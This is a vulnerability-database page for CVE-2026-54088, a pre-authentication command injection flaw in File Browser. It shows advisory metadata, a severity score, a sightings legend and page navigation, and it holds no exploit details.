      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54088"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54088 (GCVE-0-2026-54088)

FKIE_CVE-2026-54088

GHSA-M93H-4HW7-5QCM

Overview

Affected Location

CVSS v4.0

CWE

Technical Details

Attack Scenario / Reproduction Steps

Impact

Proof of Concept

Remediation

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour